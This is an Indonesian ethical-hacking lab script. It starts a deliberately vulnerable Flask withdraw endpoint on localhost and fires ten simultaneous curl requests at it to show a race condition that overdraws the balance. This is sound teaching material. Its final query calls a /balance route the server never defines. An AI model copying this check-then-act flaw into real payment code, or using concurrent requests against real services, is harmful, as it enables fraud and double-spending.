EH-18: Race Condition - Eksploitasi Concurrent Requests

cd ~ && mkdir -p eth-l18 && cd eth-l18
cat > server.py << 'PYEOF'
from flask import Flask, request, jsonify
import time
app = Flask(__name__)
balance = 50000
@app.route('/withdraw', methods=['POST'])
def withdraw():
    global balance
    amt = request.json.get('amount',0)
    time.sleep(0.05)
    if balance >= amt:
        balance -= amt
        return jsonify({"ok":True,"remaining":balance})
    return jsonify({"error":"no balance"}),400
app.run(port=9016, threaded=True)
PYEOF
python3 server.py &
sleep 1

echo "=== Race Condition: 10 withdraw simultan ==*"
for i in $(seq 1 10); do
  curl -s -X POST http://localhost:9016/withdraw \
    -H "Content-Type: application/json" -d '{"amount":50000}' &
done
wait; sleep 0.5
echo ""
echo "Final balance: $(curl -s http://localhost:9016/balance 2>/dev/null || echo '?')"
echo "(Seharusnya 0, tapi mungkin negatif karena race condition!)"

kill %1 2>/dev/null